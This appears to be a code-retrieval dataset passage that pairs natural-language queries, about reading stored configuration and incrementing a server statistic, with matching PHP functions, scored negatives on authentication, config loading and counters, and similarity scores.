$this->user,\n\t\t\t'password' => $this->passwd\n\t\t);\n\t}", "public function getAuth()\n {\n if (null === $this->_auth) {\n $this->_auth = Zend_Auth::getInstance();\n }\n return $this->_auth;\n }", "public function getAuthAsString();", "public function getCredentials() {\n\t\treturn $this->_credentials;\n\t}", "public function getAuthManager();", "public function authenticate()\n {\n $core = Zend_Controller_Front::getInstance()->getParam(\"bootstrap\")->getResource(\"core\");\n /* @var $response Adsolut_Http_Response */\n $response = $core->get($this->endpoint, \n array(\n 'email' => $this->username,\n 'password' => $this->password));\n $result = Zend_Auth_Result::FAILURE;\n if (!$response->hasErrors()) {\n $result = Zend_Auth_Result::FAILURE_IDENTITY_NOT_FOUND;\n $data = $response->getData();\n if (!empty($data)) {\n $result = Zend_Auth_Result::SUCCESS;\n }\n } \n return new Zend_Auth_Result($result, $response->getData());\n }", "public function getAuthentication()\n {\n return Controllers\\AuthenticationController::getInstance();\n }", "public function auth(){ return $this->authForUser( User::$cUser ); }", "public function getInfo($token)\n {\n // token do not exist\n if (empty($token)) {\n throw new \\Exception('', 401);\n }\n // decode the token\n $jwt = (array) JWT::decode($token, Config::get('secret'), array('HS256'));\n\n // get the admin that jwt write\n $res = $this->from()->where('username', $jwt['aud'])->fetch();\n // admin do not exist OR iss error OR overdue\n if (empty($res) || $jwt['iss'] !== Config::get('jwt')['iss'] || $jwt['exp'] < $_SERVER['REQUEST_TIME']) {\n $this->_code = 401;\n\n return null;\n throw new \\Exception('', 401);\n }\n\n unset($res['passwd']);\n $res['root'] = $jwt['logInAs'];\n\n return $res;\n }", "public function getAuth2()\n {\n return $this->getProperty()->auth2;\n }", "public function getAuthUserDetail()\n {\n return $this->user;\n }", "private function getAuthenticatedUser(){\n\t\t\n\t\tprint_r($this->Request\t);\n\n\t}", "function getCredentials()\r\n\t{\r\n\t\t$user = $this->makeRequest('http://api.twitter.com/account/verify_credentials.xml');\r\n\t\tif($user)\r\n\t\t\treturn simplexml_load_string($user);\r\n\t}", "function LoggedIn() {\n\t\treturn $this->Get('UserDetails');\n\t}", "public function getAuthProvider()\n {\n return $this->authProvider;\n }", "public function authenticated() {\r\n\t\treturn $this->_authenticated;\r\n\t}", "public static function getAuthList()\n\t{\n\t\treturn !empty(MHTTPD::$config['Auth']) ? MHTTPD::$config['Auth'] : false;\n\t}", "public static function get_auth()\n {\n return isys_maintenance_auth::instance();\n }", "public function getAuthenticationKey()\n {\n return $this->authenticationKey;\n }", "public function getAuthHeader()\n {\n return [\n 'auth' => [\n $this->username,\n $this->password,\n ],\n ];\n }", "public function get($name) {\r\n\t\treturn $this->auth->get($name);\r\n\t}", "public function getTokenAuth()\n {\n \treturn $this->_token_auth;\n }", "public function getAuthProvider() {\n return $this->authProvider;\n }", "public function getAuthenticated($user) { \r\n return $this->makeRequest('get', \"/user\");\r\n }", "public function getApiUser()\n {\n return Mage::getStoreConfig('magebridge/settings/api_user');\n }", "function acapi_get_creds() {\n $user = acapi_get_option('email');\n $pass = acapi_get_option('key');\n if (empty($user) || empty($pass)) {\n return drush_set_error('ACAPI_CREDS_MISSING', dt('Email and api key required; specify --email/--key or run drush ac-api-login'));\n }\n return \"$user:$pass\";\n}", "public function getAccessKey()\n {\n return $this->access_key;\n }", "public function provideInfo()\n {\n $this->password;\n\n return array(\n array('foo', array('algo' => 0, 'algoName' => 'unknown', 'options' => array())),\n array('$2y$', array('algo' => 0, 'algoName' => 'unknown', 'options' => array())),\n array('$2y$07$', array('algo' => 0, 'algoName' => 'unknown', 'options' => array())),\n array('$2y$07$usesomesillystringfore2uDLvp1Ii2e./U9C8sBjqp8I90dH6hi', array('algo' => PASSWORD_BCRYPT, 'algoName' => 'bcrypt', 'options' => array('cost' => 7))),\n array('$2y$10$usesomesillystringfore2uDLvp1Ii2e./U9C8sBjqp8I90dH6hi', array('algo' => PASSWORD_BCRYPT, 'algoName' => 'bcrypt', 'options' => array('cost' => 10))),\n );\n }" ]
[ "0.595963", "0.59528685", "0.5917025", "0.58970016", "0.58970016", "0.58274233", "0.5814313", "0.57940847", "0.5725791", "0.56698674", "0.56585264", "0.56336594", "0.56069446", "0.5594222", "0.558398", "0.5569603", "0.5561421", "0.55521345", "0.55301976", "0.5517591", "0.54926574", "0.5491041", "0.5490364", "0.5482177", "0.54806054", "0.5473613", "0.54457605", "0.54409117", "0.54050124", "0.53983736", "0.5367759", "0.5348504", "0.5346586", "0.5341343", "0.5321468", "0.5312334", "0.53068197", "0.52903056", "0.5283605", "0.5275931", "0.5240213", "0.523075", "0.52274245", "0.5225595", "0.52119124", "0.5204625", "0.5201331", "0.51987225", "0.5197393", "0.5195755", "0.5174615", "0.5171466", "0.51665604", "0.5156917", "0.51553357", "0.51553357", "0.51511735", "0.5148868", "0.5143467", "0.5130525", "0.51234615", "0.51166415", "0.51114196", "0.5107799", "0.5105084", "0.5104588", "0.5103256", "0.50983995", "0.50971794", "0.5091125", "0.50851774", "0.50816804", "0.5077699", "0.5072975", "0.5064652", "0.5064584", "0.5051518", "0.50486827", "0.50272524", "0.5020326", "0.5018997", "0.5008801", "0.5003749", "0.5001336", "0.499503", "0.49832958", "0.49802294", "0.49782386", "0.49781352", "0.49778914", "0.4975142", "0.49738196", "0.4968421", "0.4967058", "0.49658978", "0.49598956", "0.49543685", "0.4951238", "0.49472183", "0.49376398" ]
0.5030749
78
Returns raw info from the stored configuration file.
public static function getConfig($section) { if (!empty(MHTTPD::$config[$section])) { return MHTTPD::$config[$section]; } return false; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function getConfigData()\n\t\t{\n\t\t\t$sConfigFile = self::getConfigFile();\n\n\t\t\t// Detect DB settings via configuration file\n\t\t\tif(is_file($sConfigFile))\n\t\t\t{\n\t\t\t\treturn file_get_contents($sConfigFile);\n\t\t\t}\n\n\t\t\treturn '';\n\t\t}", "public static function read()\n {\n return self::$config;\n }", "public function getConfig()\r\n {\r\n return $this->_file;\r\n }", "private static function getConfig(){\n return parse_ini_file(__DIR__ . \"/../config/config.ini\");\n }", "private static function getConfig(){\n return parse_ini_file(__DIR__ . \"/../config/config.ini\");\n }", "private function parseConfig(){\n\t\t\treturn parse_ini_file(BASE_PATH . 'config' . DIRECTORY_SEPARATOR . 'config.ini');\n\t\t}", "public function raw(): array\n\t{\n\t\treturn $this->configData;\n\t}", "public function rawConfig(): array\n {\n return $this->rawConfig;\n }", "public static function getConfig() {\n return parse_ini_file(__DIR__ . '/config.ini');\n }", "private function configuration() {\n\n $f = \"includes/expr.ini\";\n\n return parse_ini_file($f);\n\n }", "public function readConfigurationValues();", "public function infosConfig(){\n $get_configuration_infos = \\App\\Helpers\\ConfigurationHelper\\Configuration::get_configuration_infos(1);\n return $get_configuration_infos;\n }", "public function getRaw(): array\n {\n return $this->config;\n }", "public static function getConfig () {\n\n\t\treturn parse_ini_file(APPPATH . '/config/config.ini');\n\t}", "public function ovpnCurrentConfig()\n {\n $readArr = unserialize(file_get_contents(\"./vpn/ovpn.array.config\"));\n return $readArr;\n }", "public function getConfig()\n {\n return parse_ini_file(__DIR__ . \"/../php.ini\", true);\n }", "public function getLocalIniContents() {\n\t\tif (@file_exists($this->fullModulePath.'/local.ini')) {\n\t\t\treturn file_get_contents($this->fullModulePath.'/local.ini');\n\t\t}\n\t\treturn file_get_contents($this->fullModulePath.'/config.ini');\n\t}", "function getConfig($file) {\n echo $config;\n $config = parse_ini_file($file, true);\n if (! $config) {\n fatal(\"Configuration file missing or incorrect.\"); \n }\n return $config;\n }", "function readcfg() {\r\n // Analizar sin secciones\r\n $arraycfg = parse_ini_file(\"cfg/mysqlinventario.ini\");\r\n //print_r($arraycfg);\r\n //print_r($arraycfg['aduserinv']);\r\n return $arraycfg;\r\n }", "public function getConfig() {\n if ($this->config) {\n return $this->config;\n }\n \n $this->config = $this->parse($this->configFile);\n return $this->config;\n }", "function getConfigContents() {\n\t\treturn $this->configContents;\n\t}", "public function getInfo()\n {\n return array(\n 'version' => $this->getVersion(),\n 'label' => $this->getLabel(),\n 'description' => file_get_contents(__DIR__ . '/description.txt')\n );\n }", "public function getConfig()\n {\n return $this->_getConfigFile();\n }", "public function loadConfig()\n {\n return parse_ini_file(\n DIR_ROOT . '/config.ini', False\n );\n }", "function getConfig() {\n $config = parse_ini_file(\"config/config.ini\", true);\n\n return $config;\n}", "function c_ini_data($filename,$process_sections=false)\r\n {\r\n\r\n if (file_exists($filename))\r\n {\r\n $output = parse_ini_file($filename,$process_sections);\r\n return (array) $output;\r\n }\r\n else\r\n {\r\n trigger_error($filename.' configuration file not found.');\r\n }\r\n\r\n }", "function get_res_odbc_data(){\n\t$data = Null;\n\t$res_odbc = '/etc/asterisk/res_odbc.conf';\n\tif (file_exists($res_odbc)){\n\t\t$data = parse_ini_file($res_odbc, true);\n\t}\n\treturn $data;\n}", "public function getConfigData()\n {\n return [\n 'alias' => $this->getAlias(),\n 'dbName' => $this->getName(),\n 'dbHost' => $this->getHost(),\n 'dbType' => $this->getType(),\n 'dbUser' => $this->getUserName(),\n 'dbPass' => $this->getPassword()\n ];\n }", "public static function getConfig() {\n\t\tif (self::$temp_config !== null) {\n\t\t\treturn self::$temp_config;\n\t\t}\n\n\t\t$config_file = self::getConfigFile();\n\t\treturn (!file_exists($config_file)) ? array() : json_decode(file_get_contents($config_file), true);\n\t}", "public function toArray(){\n\t\treturn parse_ini_file($this->path, true);\n\t}", "function getConfig($file) {\n\t\t$config\t= parse_ini_file($file, true);\n\t\tif (! $config) {\n\t\t\t fatal(\"Configuration file missing or incorrect.\"); \n\t\t}\n\t return $config;\n\t}", "public function extensionMeta()\n {\n return $this->getConfigFromFile();\n }", "public function getConfigFilePath();", "public function getInfo() {\n $file_info = $this->handler->fetch($this->update_info);\n if (isset($file_info['body'])) {\n return unserialize($file_info['body']);\n } else {\n return unserialize($file_info);\n }\n }", "public function getData()\n {\n if ($this->configIsValid('common')) {\n return $this->Config['common']; \n }\n }", "private function readConfig(){\n\n\t\t$this->_ini_array = parse_ini_file(CONFIG.'system.ini');\n\n\t\t$this->_host =\t$this->_ini_array['db_host'];\n\t\t$this->_username = $this->_ini_array['db_username'];\n\t\t$this->_password = $this->_ini_array['db_password'];\n\t\t$this->_database = $this->_ini_array['db_database'];\n\t\n\t\t$this->_log_enabled=$this->_ini_array['log_enabled'];\n\t\t$this->_log_level=$this->_ini_array['log_level'];\n\t\t$this->_log_file_path=$this->_ini_array['log_path'];\n\t\n\n\t\t$this->_lang_default=$this->_ini_array['lang_default'];\n\n\t}", "public function getConfigFile();", "protected function getConfigFromFile()\n {\n if (isset($this->config)) {\n return $this->config;\n }\n\n $className = get_class($this);\n $configPath = realpath(dirname(File::fromClass($className)));\n\n if (File::exists($configFile = $configPath.'/extension.json')) {\n $config = json_decode(File::get($configFile), true) ?? [];\n }\n elseif (File::exists($configFile = $configPath.'/composer.json')) {\n $config = ComposerManager::instance()->getConfig($configPath);\n }\n else {\n throw new SystemException(\"The configuration file for extension <b>{$className}</b> does not exist. \".\n 'Create the file or override extensionMeta() method in the extension class.');\n }\n\n foreach (['code', 'name', 'description', 'author', 'icon'] as $item) {\n if (!array_key_exists($item, $config)) {\n throw new SystemException(sprintf(\n Lang::get('system::lang.missing.config_key'),\n $item, File::localToPublic($configFile)\n ));\n }\n }\n\n return $this->config = $config;\n }", "public function getAdditionalInformation()\n {\n return ConfigurationUtility::getSelectedConfigsInfo($this->getConfigs());\n }", "public function getConfigData() {\n\t\treturn array(\n\t\t\t'storageType' => StorageFactory::TYPE_DUMMY,\n\t\t\t'debuggerDisabled' => $this->debuggerDisabled,\n\t\t);\n\t}", "public function getData()\n {\n \treturn file_get_contents($this->config['location']);\n }", "function getConfig($file) {\n $config = parse_ini_file($file, true);\n if (! $config) {\n echo \"Fatal: Configuration file missing or incorrect.\\n\";\n exit(1);\n }\n return $config;\n }", "public function getLocalConfiguration() {}", "public function config_get(){\n\t\treturn $this->fb->exec('dhcp.config_get');\n\t}", "public function getInfo()\n\t{\n\t\treturn $this->resource->get($this->name)->getContent();\n\t}", "public function getConfig(string $fileName): array;", "function getConfigObj(){\n $fh = fopen($GLOBALS['configFileName'],'r')\n\t\t\tor die(\"Unable to open file!\");\n\n $configJson = fread($fh, filesize($GLOBALS['configFileName']));\n fclose($fh);\n // print($configJson);\n // $configObj = json_decode($configJson);\n // var_dump($configObj); //->{'devices'}[0]->{'name'};\n return json_decode($configJson);\n }", "public function getConfig() {}", "public function getInfo() {\n return array(\n \"Hash\" => $this->getName(),\n \"Connected\" => $this->isConnected() ? \"yes\" : \"no\",\n \"IP:Port\" => $this->getIp().\":\".$this->getPort(),\n \"Line In\" => $this->getLineIn(),\n \"Line Out \" => $this->getLineOut(),\n \"Dec Key\" => Utils::bin2hex($this->getDecryptionKey(),64),\n \"Enc Key\" => Utils::bin2hex($this->getEncryptionKey(),64),\n );\n }", "private static function readConfig()\n {\n $handler = self::getHandler();\n if (null == $handler->arrConfigGlobal && null == $handler->arrConfigLocal && null == $handler->arrConfigSecure) {\n include dirname(__FILE__) . '/../../config/default.php';\n\n $handler->arrConfigLocal = $APPCONFIG;\n\n $db = Base_Database::getConnection();\n try {\n // This is just for things like API keys, password salts etc.\n // If we have, at a later point, a function to export the database\n // en masse, then we can encrypt all the output from the secureconfig\n // table. It shouldn't overide the global or local config settings\n $sql = \"SELECT * FROM secureconfig\";\n $query = $db->prepare($sql);\n $query->execute();\n $handler->arrConfigSecure = $query->fetchAll(PDO::FETCH_COLUMN|PDO::FETCH_GROUP);\n\n // This is just the regular global configuration settings.\n $sql = \"SELECT * FROM config\";\n $query = $db->prepare($sql);\n $query->execute();\n $handler->arrConfigGlobal = $query->fetchAll(PDO::FETCH_COLUMN|PDO::FETCH_GROUP);\n foreach ($handler->arrConfigGlobal as $key => $value) {\n $handler->arrConfig[$key] = array('isLocal' => false, 'isOverriden' => false, 'value' => $value[0]);\n }\n \n // This is the configuration settings local to this individual machine.\n foreach ($handler->arrConfigLocal as $key => $value) {\n if (isset($handler->arrConfig[$key])) {\n $handler->arrConfig[$key] = array('isLocal' => true, 'isOverriden' => true, 'value' => $value);\n } else {\n $handler->arrConfig[$key] = array('isLocal' => true, 'isOverriden' => false, 'value' => $value);\n }\n }\n } catch(Exception $e) {\n error_log($e);\n die();\n }\n }\n }", "function configuration()\r\n {\r\n global $db;\r\n $default_conf = $this->default_configuration();\r\n $conf = $db->getAssoc('\r\n select configuration_key, configuration_value from !\r\n where module_key = ?\r\n ', false, array(TABLE_CONFIGURATION, $this->module_key()));\r\n return array_merge($default_conf, $conf);\r\n }", "public function config()\n {\n return $this->context->getConfig();\n }", "function getConfig()\n {\n return $this->_api->doRequest(\"GET\", \"{$this->getBaseApiPath()}/config\");\n }", "public function getConfigFile()\n\t{\n\t\treturn $this->configfile;\n\t}", "public function getConfiguration() {}", "public function getConfiguration() {}", "public static function load_db_conf(){\n $db_config = include(CONFIGPATH.'db.conf.php');\n return $db_config;\n }", "private function readConfigFile($path){\n return parse_ini_file($path);\n }", "function getData() {\n\t\treturn file_get_contents($this->getFile());\n\t}", "public function conf() {\n\n $conf = file('player.conf');\n\n for($i = 0; $i < count($conf); $i++) {\n\n $conf[$i] = trim($conf[$i]); \n\n } \n\n return $conf;\n \n }", "public function getInfo()\n {\n return $this->get(self::_INFO);\n }", "public function getInfo()\n {\n return $this->get(self::_INFO);\n }", "public function getInfo()\n {\n return $this->get(self::_INFO);\n }", "public function getInfo()\n {\n return $this->get(self::_INFO);\n }", "public function getInfo()\n {\n return $this->get(self::_INFO);\n }", "function getLoggedScaffolderInfo() {\n return Utils::getConfig($this->getConfigDir() . '/' . $this::LOG_FILENAME);\n }", "abstract public function getConfig();", "abstract protected function getConfig();", "public function getUserData()\n {\n return $this->file->get(self::SETTING_USER_DATA);\n }", "protected function getConfiguration() {}", "private function read_config() {\n\t\t$sections = parse_ini_file($this->config['conf'], true);\n\t\tforeach ($sections as $sectionk => $sectionv) {\n\t\t\tforeach ($sectionv as $key => $var)\n\t\t\t\t$this->config[$sectionk . '.' . $key] = $var;\n\t\t}\n\t}", "public function getInformation()\n {\n return $this->values[\"info\"];\n }", "public function getConfiguration()\n {\n return self::$config_array;\n }", "public function getConfig(string $file, string $returnKey = null)\n\t{\n\t\t// default to BP./app/config/ dir\n\t\tif (substr($file, 0, 1 ) != \"/\")\n\t\t\t$file = BP.'/app/config/'.$file;\n\t\n\t\t$config = parse_ini_file($file, true, INI_SCANNER_TYPED);\n\t\t$configOutput = (object)[];\n\n\t\tif (!is_null($returnKey) and !empty($returnKey))\n\t\t\treturn $config[$returnKey];\n\n\t\t// has section headings\n\t\tif (is_array($config[key($config) ])) {\n\t\t\tforeach($config as $section => $values) {\n\t\t\t\t$configOutput->{$section} = (object)$values;\n\t\t\t}\n\t\t} else { // does not have sections\n\t\t\tforeach($config as $key => $value) {\n\t\t\t\t$configOutput->{$key} = $value;\n\t\t\t}\n\t\t}\n\n\t\treturn $configOutput;\n\t}", "function getConfiguration() ;", "protected function getConfigFile()\n {\n return realpath($this->getBasePath() . \"/config/{$this->package}.php\");\n }", "public function readConfig() {\n if ( file_exists( $this->path . '/config/config.php' ) ) {\n require_once $this->path . '/config/config.php';\n }\n }", "public function getConfig();", "public function getConfig();", "public function getConfig();", "public function getConfig();", "public function getConfig();", "public function getConfig();", "public function getConfig();", "public function getConfig();", "public function getConfiguration() {\n\t\treturn $this->_getResponse(self::URL_CONFIGURATION);\n\t}", "function get_config() {\n //$memcached = new \\Memcached();\n //$memcached->addServer(MEMCACHED_HOST, MEMCACHED_PORT);\n \n if (false) {//$memcached->get('lc_config') && MEMCACHED_ENABLED) {\n //return $memcached->get('lc_config');\n }\n else { \n // Load our master config\n $master_config = parse_ini_file(LC_HOME . LC_MASTER_CONFIG, True);\n \n // Let's get the local config based on the resource type (an action parameter)\n if (!empty($this->http_request->action_params['resource_type'])){\n $resource_type = $this->http_request->action_params['resource_type'];\n if (!empty($resource_type) && !in_array($resource_type, array_keys($master_config['resource_types']))) {\n throw new \\Exception('Incorrect resource type specified' .\n ' --> ' . $resource_type . ' <-- See ' .\n $master_config['doc']['lc_doc_loc'] . ' for documention on resource types.');\n }\n }\n \n $resource_config = parse_ini_file(LC_HOME . $master_config['resource_types'][$resource_type]);\n\n // Since we turn all sections in our master config into arrays (this \n // way we can validate keys easily), we need to flatten it back down\n $flattened_master_config = array();\n foreach ($master_config as $top_level_element) {\n foreach ($top_level_element as $key => $value) {\n $flattened_master_config[$key] = $value;\n }\n }\n\n $merged = array_merge($flattened_master_config, $resource_config);\n //$memcached->set('lc_config', $merged);\n return $merged;\n }\n }", "public function getConfig()\r\n {\r\n $configFile = GeneralUtility::getFileAbsFileName(\"EXT:centauri_core/Configuration/core.php\");\r\n return (include $configFile);\r\n }", "public function getInfo()\n {\n return self::jsonDecode($this->fields['info']->getValue());\n }", "public function getConfig(){\n\t\treturn $this->_config;\n\t}", "protected function getConfigFromFile()\n {\n if (! file_exists(CONFIG_FILE)) {\n throw new RuntimeException('File ' . CONFIG_FILE . ' does not exist');\n }\n\n return include CONFIG_FILE;\n }", "public function getConfig(){\n return $this->config;\n }", "function get_config_data()\n{\n global $dbh;\n $config = null;\n\n $result = $dbh->query(\"SELECT * FROM configuration\");\n if ($result)\n $config = $result->fetch(PDO::FETCH_OBJ);\n\n return $config;\n}", "private static function getConfig() {\n\n\t\t$pathRoot = $_SERVER['DOCUMENT_ROOT'].substr($_SERVER['PHP_SELF'],0, strpos($_SERVER['PHP_SELF'],\"/\",1)).\"/config/\";\n\n\t\t$jsonConfig = file_get_contents($pathRoot.'config.json');\n\t\tself::$arrayConfig = json_decode($jsonConfig);\n\t}", "public function getInfo ()\n {\n return $this->info;\n }", "public function loadConfig() {\n return (object)$this->config;\n }", "public function localConfig();", "static function getConfig() {\n\t\treturn self::getRegistry()->get(self::REGISTRY_CONFIG);\n\t}", "public function getConfig() {\r\n \t\t$url = './iot_config.json'; \r\n\t\t$data = file_get_contents($url); \r\n\t\t$characters = json_decode($data); \r\n\r\n \t\treturn $characters;\r\n \t\t// return 'test';\r\n \t}", "public function getConfiguration();", "public function getConfiguration();" ]
[ "0.69436586", "0.6808992", "0.67709106", "0.6716614", "0.6716614", "0.6704078", "0.66160136", "0.6555848", "0.65507436", "0.6530195", "0.6480771", "0.6468537", "0.64585316", "0.64549434", "0.63861126", "0.636386", "0.6302322", "0.6261803", "0.62369657", "0.62302035", "0.62142104", "0.6207719", "0.6203394", "0.6130252", "0.6128539", "0.611476", "0.6087617", "0.60518616", "0.60420775", "0.6028819", "0.6010005", "0.5997314", "0.59917635", "0.59767807", "0.5971098", "0.5959553", "0.594385", "0.5936506", "0.59307873", "0.5922518", "0.5920804", "0.59176606", "0.59006184", "0.5895901", "0.58800876", "0.5875014", "0.5859864", "0.58583057", "0.5849961", "0.58414996", "0.58377975", "0.583103", "0.5824504", "0.58195627", "0.58056986", "0.5805007", "0.57811964", "0.57797843", "0.5768496", "0.57657063", "0.57524675", "0.57524675", "0.57524675", "0.57524675", "0.57524675", "0.5749296", "0.5749041", "0.5748003", "0.5747551", "0.57441646", "0.5738577", "0.5722359", "0.5716021", "0.57099783", "0.5707798", "0.5702226", "0.56998765", "0.5697802", "0.5697802", "0.5697802", "0.5697802", "0.5697802", "0.5697802", "0.5697802", "0.5697802", "0.5692629", "0.569", "0.5689962", "0.56803215", "0.56728894", "0.5663878", "0.5662553", "0.5660459", "0.56591463", "0.56577", "0.56547827", "0.56510663", "0.56476384", "0.56456095", "0.5643112", "0.5643112" ]
0.0
-1
Increments a named server statistic by the given amount.
public static function addStatCount($name, $count) { if (isset(MHTTPD::$stats[$name])) { MHTTPD::$stats[$name] += $count; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function increment() {\n\t\t$this->amount++;\n\t}", "public function incrementCount($amount = 1)\n {\n $this->increment('count', $amount);\n }", "public function inc($key, $amount = 1)\r\n {\r\n return $this->memcache->increment($key, $amount);\r\n }", "public function increaseNumOfDownloads(string $fileName): void\n {\n $sql = \"UPDATE files SET downloads = downloads + 1 WHERE name=:name_bind\";\n $stmt = $this->db->prepare($sql);\n $stmt->bindValue(':name_bind', $fileName, \\PDO::PARAM_STR);\n $stmt->execute();\n }", "public function incrby(string $key, int $amount): int\r\n\t{\r\n\t\treturn $this->connection->incrBy($key, $amount);\r\n\t}", "public function addStat(float $amount, string ...$pathToStat): void\n {\n $amount += $this->getStat(...$pathToStat);\n\n $this->setStat($amount, ...$pathToStat);\n }", "public function incResponseCount()\n {\n $incResponse = (int) $this->attribute( 'response_count' );\n $incResponse++;\n $this->setAttribute( 'response_count', $incResponse );\n $this->store();\n }", "function user_increase_gauge(int $user_id, int $amount = 1): int\r\n{\r\n\tglobal $DATABASE;\r\n\t\r\n\t$temp = user_get_gauge($user_id, true) + $amount;\r\n\t$cycle = 0;\r\n\t\r\n\tfor(; $temp >= 10; $temp -= 10)\r\n\t\t$cycle++;\r\n\t\r\n\t$DATABASE->execute_query('REPLACE INTO `secretbox_gauge` VALUES(?, ?)', 'ii', $user_id, $temp);\r\n\treturn $cycle;\r\n}", "public function incrementLocalLeave($amount = 1) {\n $this->localBalance = $this->localBalance + $amount;\n }", "public function incrementSickLeave($amount = 1) {\n $this->sickBalance = $this->sickBalance + $amount;\n }", "function update_stats($type)\n{\n\tglobal $database;\n\n\t// INCREASE REQUESTED STAT VALUE\n\t$database->database_query(\"\n INSERT INTO se_stats\n (`stat_date`, `stat_{$type}`)\n VALUES\n (UNIX_TIMESTAMP(CURDATE()), 1) \n ON DUPLICATE KEY UPDATE\n `stat_{$type}`=`stat_{$type}`+1\n \");\n}", "public function increaseLoginCount()\n {\n $cache = \\System::getContainer()->get('contao.cache');\n\n if ($cache->contains('login-count')) {\n $count = intval($cache->fetch('login-count')) + 1;\n } else {\n $count = 1;\n }\n\n $cache->save('login-count', $count);\n }", "public static function increment($stats, $sampleRate=1) {\n\t\tStatsD::updateStats($stats, 1, $sampleRate, 'c');\n\t}", "function updatecounter() \n{\n\t//session_start();\n\t//Determine if seesion exists\n\tif (!isset($_SESSION['counter'])) \n\t{\n\t\t//create the session\n\t\t$_SESSION['counter']=\"set\";\n\t\tinclude(\"dbconnect.php\");\n\t\t$str1=\"update options set value1=value1+1 where name='counter'\";\n\t\t//echo($str1);\n\t\t$result=mysql_query($str1) or die(mysql_error());\n\t\t//mysql_free_result($result);\n\t\t//IPtracking();\n\t}\n\t\t\n}", "public function incr($key, $byAmount = 1) {\n if ($this->name === null) {\n throw new Exception(get_class($this).\" requires a name!\");\n }\n return (int)$this->getConnection()->getClient()->hIncrBy($this->name, $key, (int)$byAmount);\n }", "public function updateCount() {\n $sql = \"UPDATE goCount SET count = count + 1 WHERE 1\";\n\n if (self::$conn->query($sql) === FALSE) {\n echo \"Error updating count record: \" . self::$conn->error;\n }\n }", "function phpTrafficA_updateCount($table, $connection, $value) {\n$sql3 = \"UPDATE `$table` SET count=count+1 WHERE value=$value\";\n$res3 = mysql_query($sql3);\nreturn 1;\n}", "public function addIncome($amount, $username)\n {\n $account = Account::findOne([\n 'username' => $username,\n ]);\n\n $account->balance += $amount;\n\n $account->update(true, ['balance']);\n }", "private function increaseCounter($counterName){\n\t\t$className = $this->currentTest->getDeclaringClass()->getName();\n\t\t$methodName = $this->currentTest->getName();\n\t\t$this->assertions[$className][$methodName][$counterName] += 1;\n\t}", "public static function increment($stat, $sampleRate = 1)\n\t{\n\t\tif (self::$instance)\n\t\t{\n\t\t\tself::$instance->increment($stat, $sampleRate);\n\t\t}\n\t}", "public function increment($key, $value = 1)\n {\n $this->connection->transaction(function () use ($key, $value) {\n return $this->incrementOrDecrement($key, $value, function ($current) use ($value) {\n return $current + $value;\n });\n });\n }", "public function increment($subject)\n {\n $bucket = $this->getBucket();\n $subject = $this->key . ':' . $subject;\n $multi = $this->client->multiExec();\n $this->addMultiExecIncrement($multi, $subject, $bucket);\n $multi->exec();\n }", "function increment_visit($user_id){\n\t$query = \"UPDATE Portfolio as P SET visits += 1 WHERE P.user_id = :user_id\";\n}", "public function increment_stats( $vendor_id = 0, $amount = 0.00 ) {\n\n\t\t$vendor = new FES_Vendor( $vendor_id );\n\n\t\tif ( empty( $vendor->id ) ) {\n\t\t\treturn false;\n\t\t}\n\n\t\t$increased_count = $vendor->increase_sales_count();\n\t\t$increased_value = $vendor->increase_sales_value( $amount );\n\n\t\treturn ( $increased_count && $increased_value ) ? true : false;\n\n\t}", "public function incrementImportCount();", "public function inc(): void {}", "public function increment($column, $amount = 1)\n\t{\n\t\treturn $this->_adjust($column, $amount, ' + ');\n\t}", "public function increment($names, array $tags = [], $value = 1, $sampleRate = 1.0);", "public function increment() {\n $this->countAnswered++;\n }", "function incrementFlagForMonument($player_id, $column_name) { // The player tucked or scored a card. Update database accordingly\n self::DbQuery(self::format(\"\n UPDATE\n player\n SET\n {column_name} = {column_name} + 1\n WHERE\n player_id = {player_id}\n \",\n array('player_id' => $player_id, 'column_name' => $column_name)\n ));\n }", "public function incrementRowsUpdated(): void\n {\n $this->rowsUpdated++;\n }", "protected function countPassengers($line, $amount)\n\t{\n\t\t$line = intval($line);\n\t\t$amount = intval($amount);\n\t\tif(array_key_exists($line, $this->amount))\n\t\t{\n\t\t\t$this->amount[$line] = $this->amount[$line] + $amount;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->amount[$line] = $amount;\n\t\t}\n\t}", "public function incrementPendingEntriesCount()\n\t{\n\t\t$this->setPendingEntriesCount($this->getPendingEntriesCount() + 1); \n\t\t$this->save();\n\t}", "public function increaseOffersCount() {\n $this->user->increaseNumberOfOffers();\n }", "public function increment() {\n $this->db->query('UPDATE '.TABLE_PREFIX.'tickers SET last_run = '.time().' WHERE id = '.$this->id);\n }", "public function increaseItem($name, $itemName) {\n $this->data[$name][$itemName] = (isset($this->data[$name][$itemName]) && is_int($this->data[$name][$itemName]) ? ++$this->data[$name][$itemName] : 1);\n }", "public function incr(string $key): int\r\n\t{\r\n\t\treturn $this->connection->incr($key);\r\n\t}", "function updateCount() {\n $connection = SQL::getConn();\n\n //MySQL query to execute\n mysqli_query($connection, \"UPDATE users SET total = total + 1 WHERE (id='$_POST[id]')\");\n }", "function updateHitCount($short_url_id){\n\t\t$this->query('UPDATE short_urls SET hit_count = hit_count + 1, modified = NOW() WHERE id='.$short_url_id);\n\t}", "function mint_update_account($session, $token, $account_id, $account_name, $total) {\n $_post = array(\n \"accountId\" => $account_id,\n \"types\" => \"ot\",\n \"accountName\" => $account_name, \n \"accountValue\" => $total,\n \"associatedLoanRadio\" => \"No\", \n \"accountType\" => \"3\", \n \"accountStatus\" => \"1\",\n \"token\" => $token,\n );\n $session->URLFetch(\"https://wwws.mint.com/updateAccount.xevent\", $_post);\n}", "public function AddStatistics($EventName) {\n\n $this->Stats[$EventName]= ($this->Stats[$EventName] ?? 0) + 1;\n }", "protected function increment(){\n $count = $this->model->getClickCount();\n $count++;\n $this->model->setClickCount($count);\n $this->model->save(false);\n \n }", "function increaseDownloadCounter($id_attach)\n{\n\t$db = database();\n\n\t$db->fetchQuery('\n\t\tUPDATE {db_prefix}attachments\n\t\tSET downloads = downloads + 1\n\t\tWHERE id_attach = {int:id_attach}',\n\t\tarray(\n\t\t\t'id_attach' => $id_attach,\n\t\t)\n\t);\n}", "public function inc($name)\n {\n return self::$driver->id($name);\n }", "public function incrIdPlayer($increment) {\n $this->setIdPlayer($this->getIdPlayer() + $increment);\n }", "public function incrementViewCount($name)\n {\n $sql = \"UPDATE panoramen SET view_counter=view_counter+1\"\n . \" WHERE pano_name=?\";\n\n $this->_sql->prepare($sql);\n 